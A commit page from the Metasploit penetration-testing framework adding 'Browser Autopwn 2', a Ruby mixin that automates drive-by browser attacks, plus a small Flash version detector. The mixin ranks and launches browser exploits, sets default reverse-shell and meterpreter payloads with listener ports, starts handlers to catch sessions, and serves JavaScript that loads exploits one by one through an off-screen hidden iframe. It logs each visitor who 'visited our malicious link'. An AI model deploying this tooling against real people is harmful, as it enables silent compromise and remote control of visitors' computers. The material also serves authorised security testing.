Land #5650, @wchen-r7's browser autopwn 2

bug/bundler_fix
jvazquez-r7 2015-07-15 10:21:44 -05:00
commit 886ca47dfb
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
23 changed files with 2536 additions and 593 deletions

Binary file not shown.

Binary file not shown.

39
external/source/flash_detector/bin/index.html vendored Executable file
View File

@ -0,0 +1,39 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8"/>
<title>flash_detector</title>
<meta name="description" content="" />
<script src="js/swfobject.js"></script>
<script>
var flashvars = {
};
var params = {
menu: "false",
scale: "noScale",
allowFullscreen: "true",
allowScriptAccess: "always",
bgcolor: ""
};
var attributes = {
id:"flashdetector"
};
swfobject.embedSWF(
"flashdetector.swf",
"altContent", "100%", "100%", "8.0.0",
"expressInstall.swf",
flashvars, params, attributes);
</script>
<style>
html, body { height:100%; overflow:hidden; }
body { margin:0; }
</style>
</head>
<body>
<div id="altContent">
<h1>flash_detector</h1>
<p><a href="http://www.adobe.com/go/getflashplayer">Get Adobe Flash player</a></p>
</div>
</body>
</html>

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,55 @@
<?xml version="1.0" encoding="utf-8"?>
<project>
<!-- Output SWF options -->
<output>
<movie disabled="False" />
<movie input="" />
<movie path="bin\flashdetector.swf" />
<movie fps="30" />
<movie width="800" />
<movie height="600" />
<movie version="8" />
<movie background="#FFFFFF" />
</output>
<!-- Other classes to be compiled into your SWF -->
<classpaths>
<class path="src" />
</classpaths>
<!-- Build options -->
<build>
<option verbose="False" />
<option strict="False" />
<option infer="False" />
<option useMain="True" />
<option useMX="False" />
<option warnUnusedImports="False" />
<option traceMode="FlashConnectExtended" />
<option traceFunction="" />
<option libraryPrefix="" />
<option excludeFile="" />
<option groupClasses="False" />
<option frame="1" />
<option keep="True" />
</build>
<!-- Class files to compile (other referenced classes will automatically be included) -->
<compileTargets>
<compile path="src\Main.as" />
</compileTargets>
<!-- Assets to embed into the output SWF -->
<library>
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
</library>
<!-- Paths to exclude from the Project Explorer tree -->
<hiddenPaths>
<!-- example: <hidden path="..." /> -->
</hiddenPaths>
<!-- Executed before build -->
<preBuildCommand />
<!-- Executed after build -->
<postBuildCommand alwaysRun="False" />
<!-- Other project options -->
<options>
<option showHiddenPaths="False" />
<option testMovie="Default" />
</options>
</project>

31
external/source/flash_detector/src/Main.as vendored Executable file
View File

@ -0,0 +1,31 @@
import flash.external.ExternalInterface
import System.capabilities
class Main
{
public static function main(swfRoot:MovieClip):Void
{
// entry point
var app:Main = new Main();
}
public function Main()
{
var version:String = getVersion()
ExternalInterface.call("setFlashVersion", version)
}
private function getVersion():String
{
try {
var version:String = capabilities.version
version = version.split(" ")[1]
version = version.split(",").join(".")
return version
} catch (err:Error) {
return ""
}
}
}

View File

@ -0,0 +1,814 @@
###
#
# The Msf::Exploit::Remote::BrowserAutopwn2 mixin is a replacement for the current BrowserAutoPwn.
# It works with other components such as BrowserExploitServer, BrowserProfileManager, and BES-based
# exploits to perform a faster and smarter automated client-side attack.
#
###
require 'date'
module Msf
module Exploit::Remote::BrowserAutopwn2
include Msf::Exploit::Remote::BrowserExploitServer
# @return [Array] A list of initialized BAP exploits
attr_reader :bap_exploits
# @return [Array] A list of exploit job IDs
attr_reader :exploit_job_ids
# @return [Array] A list of payload job IDs
attr_reader :payload_job_ids
# @return [Array] Wanted payloads.
attr_reader :wanted_payloads
# The default platform-specific payloads and preferred LPORTS.
# The hash key is the name of the platform that matches what's on the module.
# The loader order is specific while starting them up.
# Firefox payloads use generic handlers.
DEFAULT_PAYLOADS = {
firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 },
android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 },
win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 },
linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 },
unix: { payload: 'cmd/unix/reverse', lport: 4446 },
osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 },
java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 },
generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 }
}
# Returns all the found exploit modules that support BrowserExploitServer by going through all
# the exploits from the framework object. All the usable exploits will be stored in #bap_exploits.
#
# @return [void]
def init_exploits
# First we're going to avoid using #find_all because that gets very slow.
framework.exploits.each_pair do |fullname, place_holder|
# If the place holder isn't __SYMBOLIC__, then that means the module is initialized,
# and that's gotta be the active browser autopwn.
next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}"
# The user gets to specify which modules to include/exclude
next if datastore['INCLUDE_PATTERN'] && fullname !~ datastore['INCLUDE_PATTERN']
next if datastore['EXCLUDE_PATTERN'] && fullname =~ datastore['EXCLUDE_PATTERN']
mod = framework.exploits.create(fullname)
unless mod
print_status("Failed to load: #{fullname}")
next
end
if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer)
@bap_exploits << mod
end
end
end
# Returns a prefix type that's unique to this BAP (based on a timestamp & module uuid).
# This overrides Msf::Exploit::Remote::BrowserProfileManager#browser_profile_prefix so that BAP
# and all of its child exploits can share target information with each other. If BAP is active
# but there are other standalone BES exploits running, this allows them not to use (or cleanup)
# each other's data. Also, once requested, the method will not generate another profile prefix
# again, it will just return whatever's been stored in the @browser_profile_prefix instance variable.
#
# @return [String]
def browser_profile_prefix
@browser_profile_prefix ||= "BAP.#{Time.now.to_i}.#{self.uuid}"
end
# Removes background exploit jobs that belong to BAP.
#
# @return [void]
def rm_exploit_jobs
exploit_job_ids.each do |id|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
sleep(0.1)
end
end
# Removes background payload jobs that belong to BAP.
#
# @return [void]
def rm_payload_jobs
payload_job_ids.each do |id|
framework.jobs.stop_job(id) if framework.jobs[id.to_s]
end
end
# Cleans up everything such as profiles and jobs.
#
# @see #rm_exploit_jobs The method for cleaning up jobs.
# @see #Msf::Exploit::Remote::BrowserProfileManager#clear_browser_profiles The method for removing target information.
# @return [void]
def cleanup
print_status("Cleaning up jobs...")
super
configure_job_output(false)
clear_browser_profiles
rm_exploit_jobs
rm_payload_jobs
end
# Modifies an exploit's default datastore options. Some of them are user-configurable,
# some must be defined by BAP.
#
# @return [void]
def set_exploit_options(xploit)
# We could do a massive xploit.datastore.merge!(self.datastore), but this seems
# really expensive. Costs more loading time.
# Set options configurable by the user.
p = select_payload(xploit)
xploit.datastore['PAYLOAD'] = p.first[:payload_name]
xploit.datastore['LPORT'] = p.first[:payload_lport]
xploit.datastore['SRVHOST'] = datastore['SRVHOST']
xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate']
xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName']
xploit.datastore['VERBOSE'] = datastore['VERBOSE'] if datastore['VERBOSE']
xploit.datastore['Retries'] = datastore['Retries'] if datastore['Retries']
xploit.datastore['SSL'] = datastore['SSL'] if datastore['SSL']
xploit.datastore['SSLVersion'] = datastore['SSLVersion'] if datastore['SSLVersion']
xploit.datastore['LHOST'] = get_payload_lhost
# Set options only configurable by BAP.
xploit.datastore['DisablePayloadHandler'] = true
xploit.datastore['BrowserProfilePrefix'] = browser_profile_prefix
xploit.datastore['URIPATH'] = "/#{assign_module_resource}"
xploit.datastore['WORKSPACE'] = self.workspace
# Register this module as a child and copy datastore options
xploit.register_parent(self)
end
# Checks if a resource is already taken or not.
#
# @param resource [String] The resource to check.
# @return [TrueClass] Resource is taken.
# @return [FalseClass] Resource is not taken.
def is_resource_taken?(resource)
taken = false
bap_exploits.each do |m|
# Prevent partial matching of one resource within another
next unless m.datastore['URIPATH']
return true if m.datastore['URIPATH'].index(resource)
return true if resource.index(m.datastore['URIPATH'])
end
taken
end
# Returns a unique resource path.
#
# @return [String] A unique resource path.
def assign_module_resource
resource = ''
while
resource = Rex::Text.rand_text_alpha(rand(10) + 4)
break unless is_resource_taken?(resource)
end
resource
end
# Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top.
# This method is part of what makes BAP smarter. However, the list rearranged by this exploit
# will not actually be the same exploit list served to every client. When a client a request,
# #get_suitable_exploits will generate another list that will actually be used by the client
# by going through what we have here, and filter out all the exploit modules that don't match
# the target's requirements.
#
# @see #bap_exploits The read-only attribute.
# @see #sort_date_in_group The method for sorting by disclosure date
# @see #sort_group_by_rank The method for sorting by rank
# @see #sort_bap_modules The method for breaking the module list into groups
# @see #finalize_sorted_modules The method for finalizing bap_exploits
# @see #get_suitable_exploits
# @return [void]
def sort_bap_exploits
bap_groups = group_bap_modules
bap_groups = sort_date_in_group(bap_groups)
bap_groups = sort_group_by_rank(bap_groups)
finalize_sorted_modules(bap_groups)
end
# Sorts a grouped module list by disclosure date.
#
# @param bap_groups [Hash] A grouped module list.
# @return [Hash] A hash with each module list sorted by disclosure date.
def sort_date_in_group(bap_groups)
bap_groups.each_pair do |ranking, module_list|
bap_groups[ranking] = module_list.sort_by {|m|
dstr = m.disclosure_date || "1970-01-01"
Date.parse(dstr) rescue Date.parse("1970-01-01")
}.reverse
end
end
# Sorts a module list by ranking.
#
# @param bap_groups [Hash] A grouped module list.
# @return [Hash] A hash grouped by ranking.
def sort_group_by_rank(bap_groups)
Hash[bap_groups.sort_by {|k,v| k}.reverse]
end
# Breaks @bap_exploits into groups for sorting purposes.
#
# @see #bap_exploits
# @return [Hash] A module list grouped by rank.
def group_bap_modules
bap_groups = {}
RankingName.each_pair do |ranking, value|
bap_groups[ranking] = []
bap_exploits.each do |m|
next if m.rank != ranking
bap_groups[ranking] << m
end
end
bap_groups
end
# Modifies @bap_exploit by replacing it with the rearranged module list.
#
# @see #bap_exploits The read-only attribute.
# @param bap_groups [Hash] A grouped module list.
# @return [void]
def finalize_sorted_modules(bap_groups)
@bap_exploits = []
bap_groups.each_pair do |ranking, module_list|
module_list.each do |m|
break if @bap_exploits.length >= datastore['MaxExploitCount']
@bap_exploits << m
end
end
end
# Returns a payload name. Either this will be the user's choice, or falls back to a default one.
#
# @see DEFAULT_PAYLOADS The default settings.
# @param platform [Symbol] Platform name.
# @return [String] Payload name.
def get_selected_payload_name(platform)
payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"]
# The payload is legit, we can use it.
# Avoid #create seems faster
return payload_name if framework.payloads.keys.include?(payload_name)
default = DEFAULT_PAYLOADS[platform][:payload]
# The user has configured some unknown payload that we can't use,
# fall back to default.
default
end
# Returns the selected payload's LPORT.
#
# @param platform [Symbol]
# @return [Fixnum]
def get_selected_payload_lport(platform)
datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"]
end
# Returns the selected payload's LHOST. If no LHOST is set by the user (via the datastore option),
# then the method automatically generates one by Rex.
#
# @return [String]
def get_payload_lhost
datastore['LHOST'] || Rex::Socket.source_address
end
# Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that
# we know how to find them and then clean them up.
#
# @note FireFox payload is skipped because there's no handler for it.
# @see #payload_job_ids
# @return [void]
def start_payload_listeners
# Spawn nothing if the user doesn't want to pop sessions.
return if datastore['MaxSessionCount'] == 0
# Don't repeat launching payload handlers
wanted_payloads.uniq! { |e| e[:payload_name] }
wanted_payloads.each do |wanted|
multi_handler = framework.exploits.create('multi/handler')
# We have to special case firefox
payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name]
# User-configurable options
# multi_handler.datastore.merge!(self.datastore) could be used, but
# really expensive. Costs more loading time.
multi_handler.datastore['LHOST'] = get_payload_lhost
multi_handler.datastore['PAYLOAD'] = payload_name
multi_handler.datastore['LPORT'] = wanted[:payload_lport]
multi_handler.datastore['DebugOptions'] = datastore['DebugOptions'] if datastore['DebugOptions']
multi_handler.datastore['AutoLoadAndroid'] = datastore['AutoLoadAndroid'] if datastore['AutoLoadAndroid']
multi_handler.datastore['PrependMigrate'] = datastore['PrependMigrate'] if datastore['PrependMigrate']
multi_handler.datastore['PrependMigrateProc'] = datastore['PrependMigrateProc'] if datastore['PrependMigrateProc']
multi_handler.datastore['InitialAutoRunScript'] = datastore['InitialAutoRunScript'] if datastore['InitialAutoRunScript']
multi_handler.datastore['AutoRunScript'] = datastore['AutoRunScript'] if datastore['AutoRunScript']
multi_handler.datastore['CAMPAIGN_ID'] = datastore['CAMPAIGN_ID'] if datastore['CAMPAIGN_ID']
multi_handler.datastore['HandlerSSLCert'] = datastore['HandlerSSLCert'] if datastore['HandlerSSLCert']
multi_handler.datastore['StagerVerifySSLCert'] = datastore['StagerVerifySSLCert'] if datastore['StagerVerifySSLCert']
multi_handler.datastore['PayloadUUIDTracking'] = datastore['PayloadUUIDTracking'] if datastore['PayloadUUIDTracking']
multi_handler.datastore['PayloadUUIDName'] = datastore['PayloadUUIDName'] if datastore['PayloadUUIDName']
multi_handler.datastore['IgnoreUnknownPayloads'] = datastore['IgnoreUnknownPayloads'] if datastore['IgnoreUnknownPayloads']
multi_handler.datastore['SessionRetryTotal'] = datastore['SessionRetryTotal'] if datastore['SessionRetryTotal']
multi_handler.datastore['SessionRetryWait'] = datastore['SessionRetryWait'] if datastore['SessionRetryWait']
multi_handler.datastore['SessionExpirationTimeout'] = datastore['SessionExpirationTimeout'] if datastore['SessionExpirationTimeout']
multi_handler.datastore['SessionCommunicationTimeout'] = datastore['SessionCommunicationTimeout'] if datastore['SessionCommunicationTimeout']
# Configurable only by BAP
multi_handler.datastore['ExitOnSession'] = false
multi_handler.datastore['EXITFUNC'] = 'thread'
multi_handler.datastore['WORKSPACE'] = self.workspace
# Register this module as a child and copy datastore options
multi_handler.register_parent(self)
# Now we're ready to start the handler
multi_handler.exploit_simple(
'LocalInput' => nil,
'LocalOutput' => nil,
'Payload' => payload_name,
'RunAsJob' => true
)
@payload_job_ids << multi_handler.job_id
end
end
# Returns the human-readable version of the rank.
#
# @param rank [Fixnum]
# @return [String]
def parse_rank(rank)
RankingName[rank].to_s.capitalize
end
# Checks whether the payload is compatible with the module based on platform information.
# Best for single-platform modules and for performance.
#
# @param m [Object] Module.
# @param payload_platform [Symbol] Payload platform.
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
def is_payload_platform_compatible?(m, payload_platform)
begin
platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s)
rescue ArgumentError
false
end
return true if platform_obj && m.platform.platforms.include?(platform_obj)
false
end
# Checks whether the payload is compatible with the module based on the module's compatibility list
#
# @param compatible_payloads [Array] A list of payloads that are compatible
# @param payload_name [String]
# @return [TrueClass] Payload is compatible.
# @return [FalseClass] Payload is not compatible.
def is_payload_compatible?(compatible_payloads, payload_name)
compatible_payloads.each do |k|
return true if k[0] == payload_name
end
false
end
# Checks if the module is multi-platform based on the directory path.
#
# @param m [Object] Module.
# @return Module [TrueClass] is multi-platform.
# @return Module [FalseClass] is not multi-platform.
def is_multi_platform_exploit?(m)
m.fullname.include?('multi/')
end
# Returns an appropriate payload that's compatible with the module.
#
# @param m [Object] A module that's been initialized.
# @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp'
def select_payload(m)
compatible_payloads = []
module_payloads = nil
DEFAULT_PAYLOADS.each_pair do |platform, info|
payload_choice = {
:payload_name => get_selected_payload_name(platform),
:payload_lport => get_selected_payload_lport(platform)
}
if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform)
compatible_payloads << payload_choice
break
else
# The #compatible_payloads method is super expensive (slow). By doing it this way,
# I managed to shave off seconds.
module_payloads ||= m.compatible_payloads
if is_payload_compatible?(module_payloads, payload_choice[:payload_name])
compatible_payloads << payload_choice
end
end
end
@wanted_payloads.concat(compatible_payloads)
compatible_payloads
end
# Starts exploits.
#
# @return [void]
def start_exploits
bap_exploits.each do |m|
set_exploit_options(m)
m.exploit_simple(
'LocalInput' => nil,
'LocalOutput' => nil,
'Quiet' => true,
'Target' => 0,
'Payload' => m.datastore['PAYLOAD'],
'RunAsJob' => true
)
@exploit_job_ids << m.job_id
end
end
# Sets up BAPv2. This is like our main function.
#
# @return [void]
def setup
t1 = Time.now
super
@bap_exploits = []
@exploit_job_ids = []
@payload_job_ids = []
@wanted_payloads = []
# #split might be expensive if the file is really big
@whitelist = datastore['AllowedAddresses'] ? datastore['AllowedAddresses'].split : nil
print_status("Searching BES exploits, please wait...")
init_exploits
sort_bap_exploits
print_status("Starting exploit modules...")
start_exploits
print_status("Starting listeners...")
start_payload_listeners
t2 = Time.now
print_status("Time spent: #{(t2-t1).inspect}")
configure_job_output(true)
end
# Configures the output of sub-jobs
#
# @return [void]
def configure_job_output(on=true)
(@exploit_job_ids + @payload_job_ids).each do |jid|
job = framework.jobs[jid.to_s]
next unless job
job.ctx.each do |m|
next unless m.respond_to? :user_output
m.user_output = on ? self.user_output : nil
break
end
end
end
# Prints all the exploits that BAP will consider using. But this isn't the actual list of
# exploits that BAP will use for each target.
#
# @return [void]
def show_ready_exploits
columns = ['Order', 'Rank', 'Name', 'Path', 'Payload']
# If not verbose, you're not in dev mode.
# As an user, you shouldn't be using any of these paths anyway.
columns.delete('Path') if !datastore['VERBOSE']
table = Rex::Ui::Text::Table.new(
'Header' => 'Exploits',
'Indent' => 1,
'Columns' => columns
)
# Without the order, sometimes the Rex table messes up even though in the array
# the order looks right. So don't get rid of this.
order = 1
bap_exploits.each do |m|
row = []
row << order
row << parse_rank(m.rank)
row << m.shortname
row << m.datastore['URIPATH'] if datastore['VERBOSE']
row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}"
table << row
order += 1
end
print_line
print_status("The following is a list of exploits that BrowserAutoPwn will consider using.")
print_status("Exploits with the highest ranking and newest will be tried first.")
print_line
print_line table.to_s
end
# Prints information such as what exploits will be used, and the BAP URL.
#
# @return [void]
def start_service
super
show_ready_exploits
proto = (datastore['SSL'] ? "https" : "http")
srvhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
srvport = datastore['SRVPORT']
port = datastore['URIPORT'] == 0 ? datastore['SRVPORT'] : datastore['URIPORT']
service_uri = "#{proto}://#{srvhost}:#{srvport}#{get_resource}"
print_good("Please use the following URL for the browser attack:")
print_good("BrowserAutoPwn URL: #{service_uri}")
end
# Returns a list of suitable exploits for the current client based on what #sort_bap_exploits
# gives us. It will do a global exploitable requirement check (the best it can do). There's
# actually a target-specific exploitable requirement check too, but that is performed in
# BrowserExploitServer while the exploit is being served. In other words, it is possible
# #get_suitable_exploits might not be 100% accurate (but pretty good, it depends on how the
# exploit dev accurately defines his/her global requirements), but the exploit always has a
# choice to bail at the last second if it decides it is actually not suitable for the client.
# That way we don't risk being too wreckless with our attack.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_suitable_exploits(cli, request)
current_exploit_list = []
tag = retrieve_tag(cli, request)
profile_info = browser_profile[tag]
bap_exploits.each do |m|
if m.get_bad_requirements(profile_info).empty?
current_exploit_list << m
end
end
if datastore['ShowExploitList']
show_exploit_list(cli.peerhost, tag, current_exploit_list)
end
current_exploit_list
end
# Logs a click that includes the suitable exploit list.
#
# @param ip [String] The target's IP address.
# @param data [String] (Optional) CSV data that contains the exploit list.
# @return [void]
def log_click(ip, data='')
report_note(
:host => ip,
:type => 'bap.clicks',
:data => data,
:update => :unique)
end
# Prints a list of suitable exploits for the current list.
#
# @see #sort_bap_exploits Explains how the exploit list is generated at first.
# @see #get_suitable_exploits Explains how we serve exploits to each client.
# @return [void]
def show_exploit_list(ip, tag, current_exploit_list)
order = 1
table = Rex::Ui::Text::Table.new(
'Header' => '',
'Indent' => 1,
'Columns' => ['Order', 'IP', 'Exploit']
)
current_exploit_list.each do |m|
table << [order, ip, m.shortname]
order += 1
end
if table.rows.empty?
print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.")
else
# Update the exploit list data
log_click(cli.peerhost, table.to_csv)
print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}")
end
end
# Returns a list of exploit URLs. This is used by #build_html so the client can load our
# exploits one by one.
#
# @see #build_html
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Array]
def get_exploit_urls(cli, request)
urls = []
exploit_list = get_suitable_exploits(cli, request)
exploit_list.each do |mod|
proto = datastore['SSL'] ? 'https' : 'http'
# We haven't URIHOST and URIPORT into account here because
# the framework uses them only on `get_uri`
host = ''
if datastore['SRVHOST'] && datastore['SRVHOST'] != '0.0.0.0'
host = datastore['SRVHOST']
else
host = Rex::Socket.source_address
end
port = datastore['SRVPORT']
resource = mod.datastore['URIPATH']
url = "#{proto}://#{host}:#{port}#{resource}"
urls << url
end
urls
end
# Handles client requests specific for BAP.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [void]
def on_request_uri(cli, request)
# Check if target is on our whitelist
if @whitelist && !is_ip_targeted?(cli.peerhost)
print_status("Client is trying to connect but not on our whitelist.")
send_not_found(cli)
return
end
log_click(cli.peerhost)
super
end
# Returns true if the IP is on our whitelist.
#
# @param [String] cli_ip Client's IP.
# @return [TrueClass] The IP is on the whitelist.
# @return [FalseClass] The IP is not on the whitelist.
def is_ip_targeted?(cli_ip)
return true unless @whitelist
@whitelist.include?(cli_ip)
end
# Returns a number of sessions obtained by BAP's payload handlers.
#
# @return [Fixnum] A session count.
def session_count
total = 0
payload_job_ids.each do |id|
job_workspace = framework.jobs[id.to_s].ctx.first.datastore['WORKSPACE']
if job_workspace == self.workspace
total += framework.jobs[id.to_s].ctx.first.session_count
end
end
total
end
# Returns the custom 404 URL set by the user
#
# @return [String]
def get_custom_404_url
datastore['Custom404'].to_s
end
# Returns the HTML that serves our exploits.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [String] HTML
def build_html(cli, request)
exploit_list = get_exploit_urls(cli, request)
if datastore['MaxSessionCount'] > -1 && session_count >= datastore['MaxSessionCount']
print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessionCount']}")
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
return datastore['HTMLContent']
end
elsif exploit_list.empty?
print_status("No suitable exploits to send.")
if datastore['HTMLContent'].blank?
send_not_found(cli)
return ''
else
return datastore['HTMLContent']
end
end
# Some Flash exploits don't seem to work well with a hidden iframe.
js = %Q|
var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}];
function setElementStyle(e, opts) {
if (typeof e.style.setAttribute == 'undefined') {
var attributeString = '';
for (var key in opts) { attributeString += key + ":" + opts[key] + ";" }
e.setAttribute("style", attributeString);
} else {
for (var key in opts) {
e.style.setAttribute(key, opts[key]);
}
}
}
function moveIframe(e) {
var opts = {
'position': 'absolute',
'left': screen.width * -screen.width
}
setElementStyle(e, opts);
}
window.onload = function() {
var e = document.createElement("iframe");
e.setAttribute("id", "myiframe");
moveIframe(e);
document.body.appendChild(e);
loadExploit();
}
function loadExploit() {
var e = document.getElementById("myiframe");
var firstUri = exploitList.splice(0, 1);
if (firstUri != '') {
e.setAttribute("src", firstUri);
setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
}
}
|
%Q|<html>
<head>
<script>
#{js}
</script>
</head>
<body>
</body>
</html>
#{datastore['HTMLContent']}|
end
end
end

View File

@ -217,9 +217,10 @@ module Exploit::Remote::HttpServer
print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
end
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
if opts['ServerHost'] == '0.0.0.0'
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end

View File

@ -104,3 +104,4 @@ require 'msf/core/exploit/android'
# Browser Exploit Server
require 'msf/core/exploit/remote/browser_exploit_server'
require 'msf/core/exploit/browser_autopwn2'

View File

@ -6,11 +6,13 @@ require 'date'
require 'set'
require 'rex/exploitation/js'
require 'msf/core/exploit/jsobfu'
require 'msf/core/exploit/remote/browser_profile_manager'
###
#
# The BrowserExploitServer mixin provides methods to do common tasks seen in modern browser
# exploitation, and is designed to work against common setups such as on Windows, OSX, and Linux.
# Note that this mixin is designed to be compatible with both Exploit and Auxiliary modules.
# Wiki documentations about this mixin can be found here:
# https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer
# https://github.com/rapid7/metasploit-framework/wiki/Information-About-Unmet-Browser-Exploit-Requirements
@ -25,6 +27,7 @@ module Msf
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::JSObfu
include Msf::Exploit::Remote::BrowserProfileManager
# this must be static between runs, otherwise the older cookies will be ignored
DEFAULT_COOKIE_NAME = '__ua'
@ -49,22 +52,22 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
:source, # Return either 'script' or 'headers'
:ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: Returns 'SP2'
:language, # Example: Returns 'en-us'
:arch, # Example: Returns 'x86'
:proxy, # Returns 'true' or 'false'
:silverlight, # Returns 'true' or 'false'
:office, # Example: Returns "2007", "2010"
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:mshtml_build, # mshtml build. Example: Returns "65535"
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
'source', # Return either 'script' or 'headers'
'ua_name', # Example: Returns 'MSIE'
'ua_ver', # Example: Returns '8.0', '9.0'
'os_name', # Example: Returns 'Windows 7', 'Linux'
'os_device', # Example: Returns 'iPad', 'iPhone', etc
'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
'os_sp', # Example: Returns 'SP2'
'language', # Example: Returns 'en-us'
'arch', # Example: Returns 'x86'
'proxy', # Returns 'true' or 'false'
'silverlight', # Returns 'true' or 'false'
'office', # Example: Returns "2007", "2010"
'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends)
'mshtml_build', # mshtml build. Example: Returns "65535"
'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
@ -72,24 +75,22 @@ module Msf
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
'activex'
])
def initialize(info={})
super
# The mixin keeps 'target' so module doesn't lose it.
@target = target
# See get_profile's documentation to understand what @target_profiles stores
@target_profiles = {}
# The mixin keeps 'target' handy so module doesn't lose it.
@target = self.respond_to?(:target) ? target : nil
# Requirements are conditions that the browser must have in order to be exploited.
@requirements = extract_requirements(self.module_info['BrowserRequirements'] || {})
@info_receiver_page = rand_text_alpha(5)
@exploit_receiver_page = rand_text_alpha(6)
@noscript_receiver_page = rand_text_alpha(7)
@info_receiver_page = Rex::Text.rand_text_alpha(5)
@exploit_receiver_page = Rex::Text.rand_text_alpha(6)
@noscript_receiver_page = Rex::Text.rand_text_alpha(7)
@flash_swf = "#{Rex::Text.rand_text_alpha(9)}.swf"
register_options(
[
@ -108,10 +109,34 @@ module Msf
if !custom_404.blank? && custom_404 !~ /^http/i
raise Msf::OptionValidateError.new(['Custom404 (must begin with http or https)'])
end
super
end
# Returns a prefix that's unique to this browser exploit module.
# This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager.
# There are two way for BES to get this prefix, either:
# * It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with
# its child exploits, so that these exploits don't have to gather browser information again.
# * If the datastore option isn't set, then we assume the user is firing the exploit as a
# standalone so we make somthing more unique, so that if there are two instances using the
# same exploit, they don't actually share info.
def browser_profile_prefix
self.datastore['BrowserProfilePrefix'] || @unique_prefix ||= lambda {
"#{self.shortname}.#{Time.now.to_i}.#{self.uuid}"
}.call
end
# Cleans up target information owned by the current module.
def cleanup
super
# Whoever registered BrowserProfilePrefix should do the cleanup
clear_browser_profiles unless self.datastore['BrowserProfilePrefix']
end
# Returns the custom 404 URL set by the user
#
# @return [String]
@ -120,14 +145,6 @@ module Msf
end
# Allows a block of code to access BES resources in a thread-safe fashion
#
# @param block [Proc] Block of code to sync
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
@ -155,7 +172,7 @@ module Msf
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
@ -167,16 +184,16 @@ module Msf
#
# @param profile [Hash] The profile to check
def try_set_target(profile)
return unless self.respond_to?(:targets)
match_counts = []
target_requirements = {}
targets.each do |t|
target_requirements = extract_requirements(t.opts)
if target_requirements.blank?
match_counts << 0
else
match_counts << target_requirements.select { |k,v|
if v.class == Regexp
if v.is_a? Regexp
